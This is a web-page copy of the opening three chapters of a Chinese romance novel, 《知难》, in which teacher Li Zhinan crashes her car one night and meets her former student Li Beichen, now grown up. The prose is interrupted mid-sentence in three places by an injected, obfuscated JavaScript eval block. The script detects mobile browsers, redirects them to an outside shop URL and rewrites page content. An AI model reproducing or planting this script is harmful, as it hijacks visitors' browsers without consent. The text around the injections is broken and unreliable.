《知难》 1. 心跳的频率 北京的路况像是张心电图。清晨,晌午,傍晚,子夜,高低高低。周而复始,日复一日。 凌晨一点三十二分,心电图上的折线已呈偃旗息鼓之势,缓缓趋平。广渠路上零星跑着几辆车,不同于早晚高峰的急躁,这几位似乎谁也没打算超过谁,慢慢悠悠地在路灯一团接一团的橘光中前行。 忽然“轰”的一声刺耳,划破了午夜的平静。原来是最内侧车道一辆白色大众猛然提速,突如其来的噪音惹人皱眉,隔壁车道开宝马的男人似乎并没受影响,噙笑看向副驾上年轻漂亮的姑娘,顺着姑娘埋怨的嘟囔余光胡乱向反光镜瞥过一眼。 可那油门像是被传染了似的,也瞬间跟着被他踩到了底。 又是一阵“轰”。 一旁出租车里悠哉悠哉的老师傅一分钟内被“轰轰”了俩激灵,眼看着前面两个鬼火红的车尾灯很快没了踪影,忍不住出声骂道:“大夜里的,着急给你妈烧纸去呢!” 白色大众车内放着暴躁的摇滚乐,副驾上的曲子格扯着嗓门对着司机李知难吼道:“你再快点儿!” 李知难油门早就踩到了底,可压根赶不上进口宝马的速度,人家在人行道上卡着黄灯一个加速,她只能指着夜空中最耀眼的那圈红提醒道:“红灯了,大姐!” “那就闯过去!回头罚款算我的!”曲子格的肾上腺素捎带着她的理智正在狂飙,按眼前这速度,她的法律意识应该是够不着了。 李知难踩了刹车:“别闹,闯红灯会出事的。” “李知难你不许停车听到没有!今儿个你撞了车我给你赔钱,撞了人我给你赔命!你必须给我追上丫的!”被惯性晃悠了下的曲子格音量激增,满格怒吼,差点儿把李知难耳膜穿破,“我告诉你,我今儿必须逮丫王八蛋一个现形!” 李知难劝解的话还没说出口,曲子格直接动手抢起方向盘。 “你别跟我抢方向盘!”李知难伸手使劲打她的胳膊。 “大夜里的,这又不是十字路口,就是个人行道,你睁开眼瞧瞧现在两边鬼都没有,哪来的人过马路,你开过去不就行了么!”曲子格嫌她死守规矩。 “我让你别动我方向盘!”李知难没功夫和她讲歪理,只顾着扒拉她伸过来的手。 “那你先踩油门!” 二人虽僵持不下,可李知难到底是等灯变绿了才肯踩,但是这一脚也一半带着给曲子格的面子一半带着曲子格拱出来的气,一下到了底。 又是“轰”的一声。 “快,快!”曲子格继续开始催命咒。 “不是我说小格子,你能不能……” 李知难话音未落,曲子格突然大声吼道:“我看着了,丫就在右边那条车道呢!插过去追丫的!” “小格子……” “你倒是插啊!”曲子格再次直接上手,拽起了方向盘。 这次李知难还没来得及揍她,只听“嘭——”的一声巨响,车撞到了旁边车道正常行驶的车辆上,李知难和曲子格被安全气囊附赠的白粉一人糊了一张大花脸。 摇滚乐还在继续播放着,衬着她俩满脸的滑稽。 曲子格跟魔怔了似的:“怎么又停了……不能停……” “你他妈能不能清醒一点!”撞击将李知难的火气完全拱了出来,“看不出轻重缓急是吧!为了个男人不要命了?” 曲子格的理智缓缓回神,她扭头望向车窗外的狼藉,下意识先去瞄了眼那“狼藉”上的车标,喃喃道:“我靠,我是说撞了车我给你赔钱,可我也没让你挑一这么贵的撞啊……” 李知难耳朵嗡嗡直响,压根听不见曲子格在嘟囔什么,也看不见外面那些乱七八糟,她只知道自己当下快气炸了:“曲子格你是不是有病!” 曲子格:“……” “不是我就不明白,他就是出轨了,刚才那车副驾上坐的就是他的相好的,你追上他逮着现行了,又能怎么着?” 曲子格想反驳,但又没词说,只能吞咽下口水做个假动作。 “你会跟他分手么?”李知难将心里憋着的话毫不修饰地全倒了出来:“你逮着他聊骚,你原谅了。你逮着他去夜店,你也原谅了。你逮着他跟别人搂着抱着,他跟你道个歉你不还是原谅了么!所以我就想问问你,你今天就算是追上他了,坐实了他就是和那女的开房了,又能怎么着?你会跟他分手么?” 曲子格:“我……” “你他妈又什么都不会做,干嘛拿我的命逗闷子?”李知难用手狠狠地捶了下方向盘:“你作死能不能别拉上我?我有爹妈有老公有孩子的!” 曲子格的歉意因为这句话瞬时消弭,她咬牙回道:“是,您婚姻美满,家庭幸福,您当然看不上我这种大龄剩女过的苦逼日子,是我对不住您,行吧?我给您添麻烦了,行吧?” “不是,你过得不好是我的错是么?”李知难感觉到自己的心跳快得几近失控。 耳侧此时似乎传来玻璃的敲击声。 “咚,咚。”两下,轻,稳,礼貌。 太轻,太稳,太礼貌,淹没在了当下李知难暴乱的心跳声中。 曲子格抬头看着李知难身后的车窗玻璃。 李知难:“我问你呢,曲子格!你过得不好是我的错是吗?你问问自己的良心,这些年你大大小小的事,我有一次没管你么?” 曲子格面色尴尬。 “我问你呢!”李知难诘责道。 曲子格指了指李知难身后。 “干嘛!”李知难怒气难消。 身后的敲窗声清晰了些,伴随着男人音色清明的询问:“您好,人没事吧?” 李知难皱着眉回头,狠狠道:“你先等会儿,我先把她的问题处理……” 剧烈跳动的心脏在此时突然停了。 “你仔细看过马的眼睛吗?不是家养的牲畜,是那种血统纯正,养在顶级马场,被贵族伺候着,专门用来比赛的马。他的眼睛就像是那样。瞳孔是深不见底的乌黑,被垂下来的睫毛挡住一半,带着与生俱来的温柔和从骨子里透出的教养。” 这是日后电视上,那个有名的作词家初见他时,对这双眼睛的形容。当下时分,李知难只是看到了这场景,语言还没有能力将其描绘出来,是在听到这番形容后,才和今天的画面对上号。 窗外的男人有着一双好看的眼睛。 他有些意外地看着李知难,慢动作一般将嘴角轻轻上扬,脸颊处的酒窝若隐若现,他礼貌地点头微笑,似乎是请她继续,无论眼下让她着急上火的事情是什么,她都可以先处理,他会在一旁等。 李知难有些愣神地看着他。 他直起了身,从她的车窗旁向后退了一步。他似是长呼了一口气,继而轻轻抬起右手,修长的手指落到脖颈处,将绑在那里周正紧实的领带拉扯着向下松了松,他轻微仰着头,凸起的喉结和侧脸的下颌像是两条被造物主偏爱过的曲线,带着恰到好处的转折。 “知难?”曲子格叫她的名字。 李知难刚刚停下的心跳突然厚积薄发地奔涌向前,像是检测心电图的仪器染了加速病毒,跳针带着那根忽上忽下的折线疯狂飞驰,跟不上也拦不住。 “知难,咱们好像撞了辆大奔。”曲子格陈述道。 李知难的理智在听到“大奔”两个字时,即刻归了位。 她顺着曲子格的视线望向窗外,颤颤道:“不是吧,那车标不是个三角么?” 奔驰的车标她还是认识的,再怎么着也该是个圆圈才对。 “呃……内叫迈巴赫。” “跟奔驰什么关系?” “跟奔驰什么关系不重要,重要的是跟咱俩的关系。”曲子格停顿了下。 “跟咱俩什么关系?”李知难不解。 “没关系。” “啥?” “咱俩的工资加起来干到死也买不起一个,能跟咱俩有什么关系?”曲子格声音有些颤,“可这回是有关系了,就不知道咱俩这辈子的工资加起来能不能赔得起了……” 李知难:“你别闹啊,不是你说撞了车你赔的么?” 曲子格:“那你倒是撞个国产的啊!” 刚刚车里的剑拔弩张在经济压力面前顿时烟消云散,毕竟那些都是人民内部的矛盾,可调和,可化解,最多一顿火锅两顿烧烤的事。眼下车外头等着她们的,才是真正的实际困难,难度指数从一个月工资到一辈子工资程度不等,具体数字尚且待定。 李知难搓了搓手,拍了拍衣服,清了清嗓子,准备打开车门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427786|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 曲子格拉住了她。 “干嘛,你要去跟他谈?”李知难以为她出息了。 “不是,我这人不会说话,我在车上等你。”曲子格讨好地拿袖子给李知难擦了擦脸,又在嘴唇和脸颊上搓巴了两下,“行,你美极了,这回去谈就妥了。” 李知难送了她一记大白眼。 下车后,她礼貌体面地直奔主题:“不好意思啊先生,我们刚才……嗯。”她尴尬地含糊了一下,算是糊弄过去,继续道:“您,人没事吧?” “没事。”男人温和回应,“您和您朋友呢?” “我们,也没什么事,那个,您内车……没事吧?”李知难明知故问。 “没什么大事。”他礼貌地微笑。 “那您看,咱们是走保险还是私了?”李知难询问。 “都行。”男人很好说话。 “那……您这个车,修好大概得多少钱啊?”李知难试探道。 “应该不少。”男人回得也诚实。 李知难:“您大概能给我一个数吗?” “不如我们叫保险公司来定吧?好吗?”男人温和地回道,“我也不太懂这方面的问题。” “等,等等。”李知难赶紧叫停,“您等一下,我先打个电话。” 男人礼貌点头。 李知难在通讯录里翻了翻,拨通了号码:“喂,纪修?我。” 小时候邻家的弟弟纪修,算是她社交圈里最有钱的人了。 “你知道迈巴赫吗?” 电话那头的纪修迷糊应道:“嗯。” “修起来贵么?” “分型号吧。” 李知难捂住了话筒,向眼前人询问道:“您这车是什么型号?” 李知难将型号鹦鹉学舌地报了过去,又简单描述了下问题,纪修似乎是在那边查了查,回道:“只是前保险杠是吗?” “呃,车头差不多都得修吧。” “姐,你买迈巴赫了?”纪修狐疑道,像是才反应过来。 “没有。” “那你问这个……” “你别管了,你就告诉我修好得多少钱吧。”李知难不愿多解释。 “网上没查到,你等我一下,我问一下朋友,一会儿给你回电话。” 李知难挂掉电话,对着对面人悻悻道:“麻烦您再等一会儿啊,我弟弟查一下价格,然后咱们再看是走保险还是私了,行吗?” “好的。”他话音未落,手机突然响了起来。 “喂。” “对,是迈巴赫。” “修车的价格吗?” “换前保险杠?车头也撞坏了?” 李知难越听越觉得不对劲。 “对不起啊,纪修,这车我也没修过,要不然我问一下保险公司再给你回电话吧?”他笑意盈盈地看着李知难,“不过我觉得还是我直接跟李老师对接就好,不用再麻烦你了。” “你认识纪修?”李知难后知后觉,“你认识我?” “李老师,你不记得我了。”他温和地说,也不是询问,就是简单地陈述事实。 李知难仔仔细细地将这张脸再看了一遍。 抛开先前对他容貌的欣赏与褒奖,只是仔细端详五官,这么看着,渐渐的,一张少年的脸就从眼前男人的面孔中慢慢剥离出来。 是那个在记忆里已经模糊了的小男孩。 “李……北辰?”她试探地问。 “李老师好。”他说出了这句时隔多年的问候。 时光像是嗒嗒不停的胶片,逆着岁月的河流放映。 十五岁的李北辰穿着校服站在二十四岁的李知难对面。 他青涩的脸上带着灿烂的笑容,实打实祖国早上八点钟的太阳,花园里含苞待放的骨朵儿。 她穿着轻盈的连衣裙,踩着高跟鞋,漂亮得像是画报上的女明星。 “李老师好。”他声音明亮。 “嗯,李北辰。”她叫他的名字,权当是打招呼。 每个人的青春都可以用简短的几个词概括。是朝气、蓬勃、勇敢、憧憬、快乐;也是心酸、失败、烦恼、迷茫、蹉跎。 而概括李北辰的青春只需要一个,她的名字——李知难。 2. 名字的魔力 闹铃准时在六点一刻响起,李知难没好气地摁掉。 六点半,闹铃再次铺天盖地地响起来。 “起吧。”宋乐推开了卧室门,对着床上裹成肉龙一样的人说道。 李知难吱唔地哼了声,并没有要起的意思。 六点四十五,闹钟再次响了起来。 “知难,起床。”已经洗漱完毕的宋乐再次过来叫她,捎带手又掀起了她的被子。 三月中旬北京的暖气已经停了,可冷空气没停,人就靠着被窝里的那点余温取暖,他这么一掀,春寒直接炸了李知难一身。 李知难也懒得和他开口,直接抄起床头柜上的发卡扔向他以示不满。叫起床的方式有很多种,她最讨厌的就是这种二话不说掀被子的,可宋乐偏偏最爱使这招,他知道李知难不喜欢,正是因为她不喜欢,这招才分外好使。 结婚的第六个年头,喜欢,讨厌,这些情感色彩丰富的词已经逐渐退出了他们的生活,取而代之的是实用。 “好心没好报!”宋乐捡起了地上的发卡,放回原位,懒得再管她,“六点四十五了,一会儿你肯定迟到!” 李知难摸索着看了眼手机,理智战胜了困意,她坐起了身。 宋乐正吃着早餐,随口问道:“你昨儿几点回来的?” “快三点。” “怎么这么晚?”宋乐皱眉不悦,“内曲子格,要我说你就少跟她来往。” 李知难本想如实相告的话又吞了回去。 “你要是用洗手间就赶紧的,别一会儿跟我抢。回回在里面化妆耽误半天。”宋乐见她不回话,只专心交代自己的,念叨自己的。 李知难全当没听见。这间房子是三室两卫的大平层,他分明能用次卫,但就像是故意一般,早晨起来一定要来主卫和她抢地盘。 一早的忙碌,两个人各忙各的,没再交谈,临出门前,宋乐鞋子都换好了,突然退了回来:“你车是不是该保养了?” 车子保养一直是宋乐的工作。 “我自己去吧。”李知难仍在洗手间化妆,想到让他去保养又要搭上的那一堆解释前因后果的话,便直接将这项工作揽了下来。 “行,那我走了。”宋乐巴不得少个活计,收拾好准备出门。看着她仍旧认真卷头发的表情,心里又多少带了些嫌弃,欲言又止地也没再多说。 “等等。”李知难从洗手间追了出来,“你,松一下领带。” 宋乐没明白妻子突如其来的要求是什么意思。 “就这样,”李知难在自己身上比划了下,“松一下领带我看看。” “我刚系好的。”宋乐并不愿意配合她的莫名其妙。 “你松一下!”不知为何,李知难今天特别坚持,反复命令道。 宋乐脸上带着嫌麻烦的表情,手上却还是有样学样地照做了。 果然,心跳没有任何变化。 “然后呢?”宋乐等着下文。 “没然后了,赶紧上班去吧。” “什么臭毛病!”宋乐嘟囔道,莫名其妙地出了家门。 李知难看着镜子里的自己,无奈地摇了摇头,喃喃自语道:“有病吧我。” 联系好4S店来小区停车场取车,又交代好了看门大爷给钥匙,七点四十分,她顺着人流挤进了早高峰的地铁,倒是意外地比平常还早到了几分钟到学校。 “李老师早上好。”同办公室的语文老师魏章和她打着招呼。 “魏老师早上好。” “给,”等候多时的曲子格拿着一杯咖啡讨好地递过来:“知难,喝咖啡。” 李知难没好气地给了她一记白眼。 “我错了,我真的知道错了。”曲子格立刻道歉,“你大人有大量原谅我吧!” “你错什么,你从来都没错。”李知难仍是不解气。 曲子格凑到了李知难耳边,小声道:“我给他甩了。” 李知难翻了个白眼表示不信。 “真的,真给他甩了。”曲子格双手比划发誓。 “你还能有这出息?”李知难上下打量她。 “真的,你信我吧!” “你们家开啤酒瓶的假牙崩了?你舍得去买起子去了?”李知难换着角度挖苦她。 早自习的铃声突然响起。 “午休我跟你说,你先去上课。”曲子格将咖啡放到李知难手上,恭送娘娘一般地送她去教室。 早自习的铃声在所有铃声中是最没有存在感的。祖国的花骨朵儿们最喜欢在早上没完没了地叽叽喳喳,昨天看了什么节目,今天有什么新鲜事,哪里有什么活动,放学后去吃什么,明明昨天傍晚才分开,仅仅十几个小时后,这帮孩子兹像是八百年没见着一样,又全是聊不完的话题了。 反倒是她们这帮多的是时间寒暄的成年人,绞尽脑汁也想不出什么话题来。 李知难隔着窗户看着教室内,只见一片青春盎然,各种交头接耳。 她也敏锐地注意到,最角落的位置是空着的。 “行了,别聊了,上早自习了。”李知难走进教室,敲了敲黑板,提醒着那几个还不想收尾的学生,“秦梓轩呢?怎么没来上课?” 少年们交换着眼神,他们以为这动作私密保险,殊不知讲台上的老师早就看得明白真切。 “有人知道他去哪了吗?”李知难又问了一遍。 台下鸦雀无声,眼神暗涌。 “那大家好好上早自习吧。”李知难交代后,离开了教室。 在回办公室的路上她来回思索着,到底是直接联系秦梓轩家长好呢,还是婉转点找和他关系好的同学先提醒他呢?这个年龄段的孩子心思重,她总想做得妥帖一些。 “李老师,我看你们班秦梓轩没来啊?”隔壁二班的班主任魏章老师也刚交代完早自习。 “呃,嗯。”魏老师五十多岁,思想又比较老派,李知难便不愿和她说太多。 “赶紧给家长打个电话吧,别出什么事。” “嗯,好。”李知难敷衍地答。 两人刚回到办公室,门口突然出现了难得一见的陈校长。 他和蔼地打着招呼。 魏老师警惕地和李知难交换起了眼神。李知难环看了一周,发觉大家都在暗暗交换眼神,顿时有些想笑。 这场景和刚才自己在教室里也没什么两样。学生变成了老师,老师变成了校长。换汤不换药的。 “大家手上工作停一下啊!”陈校长每次的开场白都是这句,然后例行水词儿:“辛苦了啊,各位老师,辛苦了。最近大家的表现不错,月考成绩呢,咱们这次是区前三,各位继续努力,不要松懈啊,再接再厉啊。” 办公室一片嗯嗯啊啊。 “我今天来是给大家介绍一下新同事。”陈校长指了指门外跟进来的两个年轻人,李知难开始还以为是陈校长招来负责歌颂他的某报记者,没想到原来是新同事:“之前来上过公开课,有的老师已经见过面了。” 魏老师再次和李知难传递了个眼神:校长亲自带人来?来头不小啊? “这位呢,是咱们新来的物理老师,吴思齐,以后呢,接替退休的朱老师负责二班三班的物理。来,这位是二班班主任,语文老师魏章老师,是老同志了,经验很丰富,有什么不懂的,多学多问,好不好?来,魏老师,也辛苦您多照顾咱们新同事!” “是是是。”魏老师点头,吴思齐伸过了手,魏老师显然有些不适应,但还是上前握了握。 “还有这位,三班班主任,英语老师李知难,我们的高材生,跟你一样,都是名牌大学毕业的,大美女老师,才女。”陈校长在提起李知难时,最喜欢的就是这三个词,名校高材生,大美女,才女。李知难知道,这三个词对陈校长的重要性也依次类推,甚至那个“才女”只是为了让他的“大美女”说得不突兀,才不得已加上的。 “李老师,多指教。”吴思齐礼貌伸手。 李知难也上前握了握。 “瞧瞧,郎才女貌的。”陈校长看着这养眼的画面,忍不住开口点评。 “陈校长这话说的,”一旁的年级主任徐老师提醒道,“人家李老师早就结婚了。” “对对对,瞧我这脑子。”陈校长拍了拍脑门,众人一笑而过。 “啊,还有一位,这是咱们新来的音乐老师,奚西老师。”陈校长又指着后面的女老师介绍道:“也是大美女,伯克利音乐学院毕业的,高材生,这次咱们红五月能不能在市里得奖,就全看奚西老师的了!” “我一定会竭尽全力的,到时候希望也麻烦各位老师多多配合。”奚西长了一张娃娃脸,李知难本来先入为主地以为她会是个腼腆的姑娘,没想到一开口落落大方,很是得体。 “行,那我再带吴老师和奚西老师去别的办公室,你们忙。”陈校长跟炫耀战利品一样,领着两位奖状老师再次出征了。 午饭时,李知难拿着饭盒来到了曲子格的体育室。 “哟,来了!”曲子格夸张地用袖子擦椅子,迎接娘娘一样,“请上座。” 李知难将饭盒放到她面前:“给你打了红烧鸡块。” “知我者知难也。”曲子格搂住了她的肩膀撒娇。 “甭给我来这套,五千块钱,一分也别想少。”李知难指着她的鼻子恨恨道。 “喳,我已经给他打过去了。”曲子格讨好道,“吃饭吃饭。” 待红烧鸡块被她啃得差不多后,曲子格委婉地打听道:“你说,他怎么也是你以前的学生,一日为师,终身为父,还要钱……” “你疯了是不是?”李知难用筷子背儿敲她,“他那车修起来几万几十万都有可能,要你五千你还敢唧唧歪歪?” 曲子格:“他开豪车的,五千对他来说那不就是毛毛雨,对我来说,怎么也是我半个月工资呢。” 李知难:“曲子格!” “行了行了,知道了,我给,我不是给了么!”曲子格本想讨个嘴上的便宜,没成想讨到了个没趣。 李知难见她饭吃得差不多了,开口问道:“说正事,你真分手了?” “嗯,”曲子格脸上暗淡了下,“真的分了。” “他怎么说的?” “我都抓奸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427787|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓出车祸了,他也没脸再抵赖不承认了,他确实跟人家开房去了,说他就是一时没禁住诱惑。”曲子格回。 “上回不就是这么说的?好嘛,连借口都懒得编新的了?直接照搬之前的?”李知难一股无名火。 “他可能也吃准了我不能怎么着,”曲子格用筷子插着米饭,“我也看出来了,这样下去没头,这次就是老天爷给我提醒呢,大难不死赶紧远离垃圾。反正我这次是认真的,你说的对,我一直都知道他什么人,是我一直给他找借口,分手对我们俩都好。这回我不会回头了。” “人渣。”李知难啐道。 “哎,我也知道他是渣男,架不住我自己没出息。”曲子格耸了耸肩,装作无所谓。 李知难搂住她的肩膀:“别伤心小格子,回头姐姐给你找更好的。” “谢谢姐姐。”曲子格将头歪在了她肩膀上。 “乖。”李知难在她的小脑袋瓜上拍了两拍。 曲子格贱兮兮开口道:“那姐姐,内五千块钱……” 李知难把那颗小脑袋瓜拍向了一边儿:“去,边儿去,谁是你姐姐。” 曲子格笑,啃了口桌上的苹果开了新话题:“我听说来新人了?” “你消息倒挺灵通。” “老陈显摆一上午了,金童玉女两边开路,他搁中间跟玉皇大帝似的,可长脸了。” 李知难笑着点头:“有点儿内意思。” “来顶老朱的?” “嗯,金童是教物理的,还有一个是音乐老师。我还挺喜欢那个音乐老师的,长得甜甜的,讲话落落大方。”李知难点评。 曲子格小嘴一撇:“李知难,你只许有我一个好妹妹!” 李知难眼睛扫向她的苹果:“我看你表现吧。” 曲子格赶紧双手奉上:“哎,你那车撞成那样,宋乐没说你吧?” “呃,没有。”李知难咬了口苹果。 “不像他的作风啊。”曲子格狐疑。 “你少关心别人的家事。” “我真不知道你看上他什么了,就你这种水平的大美女,他宋乐上辈子是做了什么好事这辈子能撞上这种大运?”曲子格例行感叹道。 “你废话怎么这么多啊?”李知难不愿和她聊这个话题。 可曲子格穷追不舍,问道:“说实话,你到底喜欢他什么?” 李知难有些尴尬,准备反呛回去,问道:“那你喜欢顾清辛什么啊?” 顾清辛就是昨夜撞车事件的罪魁祸首——宝马出轨男。 “他帅啊!”曲子格坦诚道:“他那个水平的帅哥,我这样的,要是不花钱,应该很难搞到吧?” “……” “可你家宋乐,也就一般人。非要说有什么优点……公务员?” “这就挺好的了。” “你傍也傍个大的,傍个基层干部,帮他一起为人民服务啊?” “……” “知难,你们美女是都不喜欢帅哥吗?” “……” “就比如昨天那个。”曲子格突然来了兴头,“那种得是天花板水平的了吧?平常马路上可难见着,你看了都不心动吗?” 李知难没来由地被苹果呛到了,咳了两声:“你别瞎说,他是我以前的学生。” “你也说以前了。” “一日为师!”李知难出声警告。 “哎呀,那种男人咱们不就是惦记惦记吗,谁也没真想能干点什么,不兴人吃那还不兴人惦记了?” “……” “真的不心动?” “不心动。”李知难没好气地答。 “可能你的想象力还是不够具体,你试想一下,那种水平的帅哥,在你面前,深情款款,含情脉脉地说:李知难,我爱你,你难道真能没有感觉?”曲子格连说带演地比划着。 当年,他还没有出落得这么耀眼,就还只是个散发着微弱光芒的少年。 半大的小子就那样守在她的病床前,不知道是过了多久,她听到一个微弱的声音,低声叫她的名字:“李知难,李知难。” 三个不允许他这么喊的字,一个不能直呼其名的人。 他贪餍地喊着,像是每喊出一声她的名字,都是一句不可告人的密语。 李知难佯装睡着,权当没听到,一反平日里严苛教条的态度。也许她今天太累了,累得睁不开眼睛,累得没有力气去吓走少年的秘密。 于是他变本加厉起来。 “李知难,我爱你。” 少年的声音在积攒了太多的能量后,终于有了密语的魔力,将这六个字如山一般压到了她的心口上。 她震惊地睁开眼,只见昏黄的灯光下,他的脸满是青涩的真诚。 “知难!”曲子格拍她的肩膀,“想什么呢?傻了?” 李知难别扭地别开了脸。 “外面那学生是不是你们班的啊?”曲子格指向窗外。 李知难顺着望了出去。 “坏了!”她这才想起早上空着的座位,急忙拉开窗冲外面喊道:“秦梓轩!你给我过来!” 3. 你要吃糖吗? 李知难坐在办公室的椅子上,对面站着高高瘦瘦的男孩。这画面在每个人的青春中都上演过无数回,坐在那里仰着头的老师,掌握着对面低头学生的生杀大权。 秦梓轩只希望自己手里能有个遥控器,一键把这一截快进过去才好。 然而天不遂人愿,李知难敲着桌子:“我再问你最后一遍,上午干嘛去了?” 秦梓轩还是闭嘴不答。 李知难:“那你脸呢?脸上的伤又是怎么回事?” 仍旧是沉默。 “不说是吧?”李知难敲了敲桌子上的手机,“那我跟你家长说也一样。” 秦梓轩被捏到了软肋:“李老师,别……” 李知难抬头看他:“我给没给你留着面子?” “李老师,我知道。”他自知理亏。 “可是尊重是相互的,我尊重你了,你对我的尊重呢?” 秦梓轩嗫声道:“我不认识他们,他们在学校门口围住我打我,我也打不过他们。” “他们是谁?”李知难追问。 “我真的不认识。” “不认识为什么打你?”李知难识图让他意识到他话里的荒谬,”马路上人多了,无缘无故来打你一个高中生,是这个意思吗?“ “对。”秦梓轩的嘴再次闭上了,李知难有种预感,这次他会闭得更严实一些。 李知难看了看他五颜六色的脸,问道:“你去医院看过了吗?” “我刚去校医室了。” “还疼么?” “不疼了。” “逞什么强。”她看着男孩脸上花里胡哨的伤口,和上面粗糙的红药水痕迹,明显知道这不可能是校医室的手艺,更像是某个十几岁的高中生自己干的。她指了指凳子:“坐下。” 她从曲子格办公室的抽屉里翻出了急救箱。曲子格是体育老师,跌打损伤的药她这里比校医室还要全。李知难一边小心帮男孩处理伤口,一边嘱咐道:“伤口别碰水,要是还有哪疼一定记得去医院看。” “谢谢李老师。” 李知难看着他乌眼青的样子,无奈道:“下午回家好好休息吧。我给你算病假。” 秦梓轩有些犹豫,开口道:“李老师,能不能别告诉我妈……” 李知难叹了口气:“你先回去,其他的以后再说。” 午休恰好结束,下午第一节课的铃声响起。操场上朝气蓬勃的少年少女们向着教学楼的方向跑,成群结队的,说说笑笑的,打打闹闹的,连正午的阳光都没办法媲美他们的灿烂。可唯独秦梓轩像条流浪狗一样,落寞地走向反方向,一点朝气阳光的样子也没有,李知难看着这差异明显的画面,心里多少有点不是滋味。 秦梓轩的家庭情况特殊,她也不确定将这件事情告知家长是好是坏。 “李老师?”门口传来叫她的声音。 李知难转过身,心跳再一次停住了。她有些难以置信,左右探看确认无疑后才敢问道:“你……怎么在这儿?” 李北辰回道:“是曲老师联系我过来的。我可以进去吗?” “呃,请进。”李知难应道,稍后又急忙补充:“但是门别关,那个门……” 她还没来得及解释完,门就被李北辰顺手关上了。 “嗯?”李北辰不解道。 “门坏了,从里面开不开,需要钥匙。” “钥匙……” “在曲子格兜儿里。” “我联系曲老师?” “她第一节课有课,没拿手机。”李知难指了指桌子。 “那我们……” “你坐会儿吧,也就一节课的功夫,她就会回来了。”李知难说道。 “好。” 李北辰坐下,李知难方才觉得曲子格这间办公室原来这么狭小。曲子格总是抱怨,正科老师能坐在宽敞明亮的大办公室里,她这个体育老师就只配待在保安室——她这样称呼这件办公室。 “怎么着也是个单间呢。”李知难劝她。 “监狱里也有单间儿,你愿意去吗?”曲子格反驳。 李知难之前倒是挺羡慕她这里的,一个人又清净,但是今天不了。 今天这狭小的屋子里,只是多进了一个成年男性,空气就少得不够人分。 “你,长大了不少啊。”李知难试图打破尴尬。 “嗯。”他和善地笑,点头应声。 “做什么工作呢?” “编曲。” “是吗?挺不错的。”她没灵魂地夸奖。 “谢谢老师。”他回,“那李老师呢?” “我?”李知难心道,我做什么工作的你不知道? “我是说,您过得怎么样?”他解释。 “挺好的。”李知难假模假式地回答。 “您的课多吗?” “还……行。”李知难没想到他还问得挺具体。 “上课费嗓子,您平时要多注意身体。” 李知难听着他这番嘱咐,感觉自己像是被年轻人来探望的孤寡老人一样。 “呃,好,谢谢。” 李北辰从口袋里掏出了一盒润喉糖,递过去了一颗:“要吃糖吗?” 她现下又觉得自己不像是孤寡老人了,像是三岁小孩。 说要,有点奇怪。 可说不要,也挺奇怪的。 李北辰突然拉过了她的手,将糖放到了手心,“对嗓子好的。” 李知难看着眼前年轻男人没有分寸地身体接触,不知道是该一本正经地教育他,还是装作不在意的假开明。 “甜的。”他突然把脸凑了过来,哄孩子一样地补充。 李知难下意识向后一躲,皱着眉防备地望向他。 李北辰有些愣住,似乎没想到她会如此反应,随即整个人的身体向后退,在二人间拉开了距离。他表情略带慌张地道歉:“对不起李老师,我太唐突了。” “没……没事。” 他用手指了指那颗糖:“您要是不喜欢吃,那我就扔了吧?” 李知难觉得自己有些小题大做了,一颗糖而已,怎么还搞出了这么多鸡零狗碎的想法,她拿过了糖,放到了嘴里:“挺好吃的,谢谢。” “您喜欢就好。”这次李北辰老实地坐在原位,恭谨地点头,没再倾斜半分。 空气凝结在原地,两个成年人找不出任何能打破沉默的话题。半晌,他才缓缓开口道:“李老师这周末您上课吗?” “……不上。” “那您这周末有时间吗?” 李知难才放松下来的警惕又绷了起来。 他这话是什么意思? “我记得您以前很喜欢黎明,是这样,这周末有他的电影首映,如果您感兴趣的话……” 他要请我看电影? 李知难婉拒:“我不太喜欢他现在拍的电影了。” “我以为您会有兴趣见见黎明本人,我记得以前您说过,希望能亲眼见到黎明。” 那年她才工作,在文化宫的放映室里看过《甜蜜蜜》后,就把黎明的海报贴满了整个宿舍。发了工资后先跑去西单买黎明的磁带,光碟,就为了能再蹭几张海报回来。 “你怎么还喜欢黎明啊?现在都是谢霆锋吴彦祖的天下了。”同事调侃她。 李知难搂着黎明的照片,感叹道:“这辈子要是能见一次黎明,死也瞑目了。” 李知难看着眼前的李北辰,重复着他的话:“能见到黎明本人?” “是。” 但她已经不是当年那个追星追得胡言乱语的女孩,现在就算是见了黎明再死,她照样闭不上眼。李知难思索着,选择了妥帖的方法迂回地回道:“那能带我老公一起吗?他也挺喜欢黎明的。” 她仔细地观察李北辰的反应。 “好啊,那我帮您找两张票。”只见他一脸开明,神色自若毫无变化。 李知难心道,果然是我想多了,都多久以前的陈年旧事了,他现在出落成这样,早就见过世面了。 “你刚说你现在是做什么的?挺厉害啊,连黎明都能见到。” “黎明也不是以前的黎明了,我也不是以前的我了。”李北辰突然莫名其妙地说,她还没来得及细思量这话里的深意,李北辰拿出了手机:“李老师加一下微信吧,我到时候直接把电子票发给您。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 